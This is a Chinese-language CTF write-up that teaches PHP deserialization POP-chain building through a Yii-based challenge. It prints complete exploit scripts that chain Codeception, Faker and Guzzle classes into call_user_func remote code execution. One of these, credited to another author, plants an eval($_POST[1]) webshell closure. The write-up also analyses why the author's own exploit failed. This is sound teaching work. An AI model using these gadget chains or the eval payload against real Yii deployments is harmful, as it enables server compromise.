前言

将通过一道没有做出来的CTF题目,介绍PHP反序列化POP链的构造

同时会分析我自己的exp的错误之处

题目

EZYii

题目源码: 本站网址/static/post/php-unserialize-popchain/ext/ezyii_daec6f038e7f8728c1188fb4da7dc86a.zip

描述:

1
yii最新版里有一个很巧妙的链子,我已经从999999个文件里,拿出了部分,不会还找不到吧?

截图

360截图1624012810914898

题目入口

题目给了一个反序列化入口,只需要向index.php通过post方法提交data变量(数据为base64编码后的数据)即可

index.php内容如下

360截图17081027407350

include(“closure/autoload.php”);

autoload.php是用于加载class文件夹里所有PHP的程序,spl_autoload_register函数就是这个文件里面的

参考

1day漏洞参考

Yii(2.0.42)的最新反序列化利用全集

EXP

Err0r师傅的博客

Err0r师傅写的EXP,非常感谢他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
namespace Codeception\Extension {
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct() {
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}

namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace GuzzleHttp\Psr7 {
use Faker\DefaultGenerator;
final class AppendStream {
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}

final class CachingStream {
private $remoteStream;
public function __construct() {
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}

final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
//$a = function(){phpinfo();};
$a = function(){eval($_POST[1]);};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

我的不能用的EXP

为什么不能用且看我慢慢分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
namespace GuzzleHttp\Psr7{
class PumpStream{
private $source;

public function __construct(){
$this->source = 'phpinfo';
}
}
}

namespace Faker{
use GuzzleHttp\Psr7\PumpStream;

class DefaultGenerator{
protected $default;

public function __construct(){
$this->default = [new PumpStream(), 'pump'];
}
}
}

namespace Codeception\Extension{
use Faker\DefaultGenerator;

class RunProcess{
private $processes = [];

public function __construct(){
$this->processes = [new DefaultGenerator()];
}
}
}
namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}

目录

[TOC]

正文

PHP对象的反序列化漏洞

从PHP对象的反序列化漏洞说起

就拿这题的源码改改说明一下

在/class/Faker/DefaultGenerator.php添加下面代码,__destruct()是PHP魔术方法,对象从内存中删除之前被调用

1
2
3
public function __destruct() {
system($this->source);
}

添加到指定位置

360截图18290323564947

然后运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace GuzzleHttp\Psr7 {
class PumpStream {
private $source;
public function __construct()
{
$this->source = 'ls';
}
}
}

namespace{
echo base64_encode(serialize(new GuzzleHttp\Psr7\PumpStream()));
}

会输出一串base64编码后的数据,

这实际上是对上面那段代码的新建的PumpStream对象序列化后再base64编码的操作。

数据如下

360截图17571119549691

post提交到index.php的入口,可以发现system(‘ls’);被执行了

这是因为反序列化后创建了一个PumpStream对象,然后$source被赋值成了‘ls’,

前面说过__destruct(),对象删除前会调用system($this->source)

利用对象的反序列化漏洞可以控制$source的内容

被控制之后执行system($this->source)相当于system(‘ls’)。

ls可以换成其它命令,那就不只是列目录了,服务器可能还会被入侵

360截图17360622727989

这道题当然没有那么简单,那么请容我继续讲下去

PHP魔术方法

构造pop链,需要对PHP的一些魔术方法有充分了解

*__*construct和__destruct

前者和后者分别为类的构造函数和析构函数,*__*construct在类创建时被调用,__destruct在类删除前被调用

*__*sleep和__wakeup

与类的序列化有关,序列化前会调用*__*sleep,使用反序列化恢复对象调用__wakeup

__toString

对类的对象进行字符串操作时,会被调用

  • 和字符串相加
1
2
3
4
5
6
7
8
9
10
<?php
class a {
public function __toString() {
echo "string";
return "aa";
}
}

$b = new a;
$b . 'str';

结果如下图

360截图17290506577788

  • echo或print对象
1
2
3
4
5
6
7
8
9
10
11
<?php
class a {
public function __toString() {
echo "string";
return "aa";
}
}

$b = new a;
echo $b;
//print $b;

结果如下图

360截图18220207478465

*__call、__*get和__set

调用类中不存在的方法时就会调用__call

1
2
3
4
5
6
7
8
9
<?php
class a {
public function __call($method, $args) {
echo "call function: $method()" ;
}
}

$b = new a;
$b->func();

结果如下图

360截图175503137111075

*__*get则是访问类的成员变量不存在的时调用,__set在设置类的成员变量(如:赋值)不存在的时调用

构造简单POP链

开始分析此题、构造此题的POP链前,先简单说明一下反序列化POP利用链,看看是怎么回事

假设服务端程序如下

假如有这么一段PHP程序(如果程序有错误之处麻烦指出),要求调用类c中的func方法

乍一看好像没有什么问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class a {
public $obj;
public function __destruct() {
$aa = $this->obj->stop();
echo 'info: ' . $aa;
}
}

class b {
public $ctrl_me;
public function __call($method, $attributes) {
return $this->ctrl_me;
}
}

class c {
public $string;
public function __toString() {
$this->string->func();
return ;
}
}

class d {
public function func() {
echo "you got it!";
}
}

if($_GET['data']){
unserialize(base64_decode($_GET['data']));

}else{
echo "<h1>请调用类c中的func方法</h1>";
}

有没有捷径?

没有

直接操作c、d对象是不可行的,因为没有字符串操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class c {
public $string;
function __construct() {
$this->string = new d;
}
}

class d {

}

echo base64_encode(serialize(new c));

//TzoxOiJjIjoxOntzOjY6InN0cmluZyI7TzoxOiJkIjowOnt9fQ==

调用失败,一片空白

360截图17571121746584

尝试将abcd串联在一起

1
a::__destruct() --> b::__call() --> c::__toString() --> d::func()

EXP如下

运行如下exp,复制生成的base64字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class a {
public $obj;
public function __construct() {
$this->obj = new b(new c);
}
}

class b {
public $ctrl_me;
public function __construct($ctrl = null) {
$this->ctrl_me = $ctrl;
}
}

class c {
public $string;
function __construct() {
$this->string = new d;
}
}

class d {

}

echo base64_encode(serialize(new a));
//TzoxOiJhIjoxOntzOjM6Im9iaiI7TzoxOiJiIjoxOntzOjc6ImN0cmxfbWUiO086MToiYyI6MTp7czo2OiJzdHJpbmciO086MToiZCI6MDp7fX19fQ==

使用get方法提交到data,可以看到成功调用

360截图180612138412473

分析&&解释

类d

生成类d的对象时是不会直接调用func方法的,需要主动调用

1
2
3
4
5
class d {
public function func() {
echo "you got it!";
}
}

类c

1
2
3
4
5
6
7
class c {
public $string;//$string变量可控
public function __toString() {
$this->string->func();//调用了func()方法,只需要让$this->string为类d的对象即可完成任务
return ;
}
}

类a

1
2
3
4
5
6
7
class a {
public $obj;
public function __destruct() {
$aa = $this->obj->stop();//没有stop()方法,所以使用类b的__call进行绕过
echo 'info: ' . $aa;//进行字符串操作了,$this->obj应该为类c的对象
}
}

类b

用于不存在方法的调用绕过

1
2
3
4
5
6
class b {
public $ctrl_me;
public function __call($method, $attributes) {
return $this->ctrl_me;
}
}

exp中的类b

1
2
3
4
5
6
class b {
public $ctrl_me;
public function __construct($ctrl = null) {
$this->ctrl_me = $ctrl;
}
}

使用时写成下面的样子,即可在调用不存在方法时返回类c的对象

1
$this->obj = new b(new c);

构造此题POP链

代码审计

这道题很巧妙,各个类之间能被巧妙地联系在一起,构成远程命令执行(RCE),如果是实际的话,要找到这样巧妙的POP链可能需要大量时间和精力

寻找call_user_func()

先从call_user_func()开始,因为很多Yii的漏洞都是从这个函数开始的

call_user_func()的第一个参数用来写函数名,如system、eval,第二个参数用于存放调用函数的参数,

如call_user_func(‘system’, ‘ls’)代表system(“ls”)

这道题文件不多,只是从Yii选了部分文件,很容易找到/class/GuzzleHttp/Psr7/PumpStream.php含有此函数

从此文件,可以注意到:

  • $this->source是可控的,read方法调用了含call_user_func()的pump方法
  • $this->size也可控,意味着使用了getSize方法的程序可能可以被控制

可控的call_user_func参数只有第一个参数$this->source,后面会讲如何操作

360截图175711139511275

找关联类

寻找能调用起PumpStream类中read方法或者pump方法的类

找到了/class/GuzzleHttp/Psr7/CachingStream.php

可以看到$this->stream变量适合用来存放PumpStream类的一个对象,因为它调用的方法都是PumpStream类里面有的

而$this->remoteStream则不适合,因为在所有文件里都没能找到它调用的方法(如->eof()),而且变量不可控,就先放着

rewind()调用了seek方法,seek方法又有可能调用read方法,read方法会调用PumpStream类中read方法,

我们只要想办法让$this->stream->read被调用起来即可,也就是把PumpStream类中read方法调用起来

360截图16241228172718

还是没有能被直接调用的办法(即利用出错处理调用类中的方法,或者类被创建就调用其中的方法)

继续找能调用CachingStream类里面rewind、seek、read方法之一的类

找到了/class/GuzzleHttp/Psr7/AppendStream.php

里面有个可控变量$streams,

程序会遍历$streams,然后调用rewind()方法。

只需要使$streams成为CachingStream类的对象,就能触发CachingStream类里的rewind方法

360截图1849092986114133

而AppendStream类里的seek方法,可以由__toString()触发

360截图1757111293114109

触发__toString()

那么如何触发AppendStream类里的__toString()呢?

找到了/class/Codeception/Extension/RunProcess.php

只要产生此类的对象,就会在删除对象时调用stopProcess方法,而且$processes变量可控,

程序会遍历$processes,对遍历的元素process进行字符串操作,

当我们控制$processes为AppendStream类的对象,这就触发了__toString

有个问题就是process会调用debug和getCommandLine以及isRunning方法,这些都是不存在的方法。。。

360截图170010208311298

绕过不存在的方法

还记得前面构造简单POP链讲的类b吗?就是这里抠出来的

/class/Faker/DefaultGenerator.php给了我们绕过的机会

使用方法前面已经讲过了,这里不再赘述

360截图18790307306751

构造链

有亿点点长

1
2
3
4
5
RunProcess::__destruct()  --》 
DefaultGenerator::__call() --》
AppendStream::__toString() --》
CachingStream::rewind() --》
PumpStream::read() --》 PumpStream::pump() --》 call_user_func()

构造1

1
RunProcess::__destruct()  --》 DefaultGenerator::__call() 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
namespace Codeception\Extension {
use Faker\DefaultGenerator;//使用Faker命名空间里的DefaultGenerator类
class RunProcess{
protected $output;
private $processes = [];
public function __construct() {
/*
processes是数组,
可以写成this->processes[] = new DefaultGenerator(/*合适的类*/); -->这样写是利用PHP的索引自动加1
也可以写成this->pprocesses=[new DefaultGenerator(/*合适的类*/)];
结果都是Array {[0] => new DefaultGenerator(/*合适的类*/)}
*/
$this->processes=[new DefaultGenerator(/*合适的类*/)];
$this->output=new DefaultGenerator();//绕过不存在的方法
}
}
}

//前面有介绍
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
//对序列化后的对象进行base64编码
namespace{
//new Codeception\Extension\RunProcess是新建一个RunProcess对象,Codeception\Extension是命名空间
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}

构造2

AppendStream里streams是一个数组,所以同前面的赋值方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
namespace GuzzleHttp\Psr7 {
use Faker\DefaultGenerator;
final class AppendStream {
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams=[new CachingStream()];
}
}

final class CachingStream {
private $remoteStream;
public function __construct() {
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}

$this->remoteStream=new DefaultGenerator(false)是因为下图所指处

此时this->remoteStream为false,!false为true

360截图18750817497454

PumpStream的构造单独讲一下

1
2
3
4
5
6
7
8
9
10
  final class PumpStream {
private $source;
private $size=-1;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('');
$this->source="phpinfo";
}
}
}
  • 为啥是DefaultGenerator(‘’),后面多两个’

‘’代表一串空字符,程序调用buffer->read($length),结果赋值给data变量,用DefaultGenerator(‘’)绕过后data变量的值为’’,

因为DefaultGenerator类里的__call方法返回的是输入的参数。

又因为strlen函数计算字符串的长度,所以data变量内容要为字符串

360截图18720118535392

  • 为啥$size要为-1

因为这样子构造,CachingStream类里会调用PumpStream类里的getSize()方法,返回的正好是$size的值

1
$this->stream=new PumpStream();

$diff要大于0,this->stream->getSize()返回的额是-1

rewind()调用this->seek(0),即seek($offset=0),即byte = ​offset = 0

0 - - 1 = 1,大于0才能执行this->read();

360截图17001014749577

同时,要调用pump方法得满足$remaining条件

$remaining来自length-readLen,也就是前一个类的调用,为1(上面讲过),readLen来自data变量的长度,data为’’空字符串时为0

1-0 = 1,为true

360截图17571115125326

结合

构造一和构造二结合,即可看到phpinfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
namespace Codeception\Extension {
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct() {
$this->processes=[new DefaultGenerator(new AppendStream())];
$this->output=new DefaultGenerator();
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace GuzzleHttp\Psr7 {
use Faker\DefaultGenerator;
final class AppendStream {
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams=[new CachingStream()];
}
}

final class CachingStream {
private $remoteStream;
public function __construct() {
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}

final class PumpStream{
private $source;
private $size=-1;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('');
$this->source="phpinfo";
}
}
}

namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}

360截图17670914998694

匿名函数

光执行phpinfo是没有用的

如何构成系统命令的执行?

答案是匿名函数

何为匿名函数?

匿名函数也叫闭包函数(closures)

在JavaScript中匿名函数是非常常用的

在PHP中,例子如下

来自:此处

1
2
3
4
5
6
7
$func = function( $param ) {
echo $param;
};
$func( 'some string' );

//输出:
//some string

把exp写成这样,是不是就能执行了呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//...省略前面部分

final class PumpStream{
private $source;
private $size=-1;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('');
$a = function(){system('ls');};
$this->source=$a;
}
}
}

namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}

可以注意到

1
$a = function(){system('ls');};

exp居然报错了

360截图18750813204118

注意到了closure文件夹吗?

360截图18221228241211

题目提供了序列化composer包

1
opis\closure

里面有闭包函数的序列化函数

序列化之后再反序列化就好了。。。

1
2
3
4
include("closure/autoload.php");
$a = function(){system('ls');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);

所以应该这么写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//...省略前面部分

final class PumpStream{
private $source;
private $size=-1;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('');

include("closure/autoload.php");
$a = function(){system('ls');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);

$this->source=$b;
}
}
}

namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}

生成base64

360截图17891230797868

验证,system(‘ls’)成功执行

360截图17860530182513

可用EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
namespace Codeception\Extension {
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct() {
$this->processes=[new DefaultGenerator(new AppendStream())];
$this->output=new DefaultGenerator();
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace GuzzleHttp\Psr7 {
use Faker\DefaultGenerator;
final class AppendStream {
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams=[new CachingStream()];
}
}

final class CachingStream {
private $remoteStream;
public function __construct() {
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}

final class PumpStream{
private $source;
private $size=-1;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('');

include("closure/autoload.php");
$a = function(){system('ls');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);

$this->source=$b;
}
}
}

namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}

不可用的EXP分析

关于下面这个EXP为什么不能触发RCE

有一部分是可用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//缺少PumpStream类的pump()方法的调用过程
//应利用CachingStream和AppendStream的魔术方法一环一环进行触发
namespace GuzzleHttp\Psr7{
class PumpStream{
private $source;

public function __construct(){
$this->source = 'phpinfo';
}
}
}


namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}

这部分就不可用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;

class RunProcess{
private $processes = [];
//此处应该添加protected $output;
public function __construct(){
$this->processes = [new DefaultGenerator()];
//此处应该添加$this->output=new DefaultGenerator();
}
}
}

namespace Faker{
use GuzzleHttp\Psr7\PumpStream;

class DefaultGenerator{
protected $default;

public function __construct(/*此处添加参数,如$val,最好设置一个默认值null,代表空对象*/){
//这样写只能生成一个PumpStream类的对象,不能调用起PumpStream类里的pump()方法
//应改作$this->default = $val;
$this->default = [new PumpStream(), 'pump'];
}
}
}

写在最后

谢谢观看,这是我认为非常巧妙的方法

EOF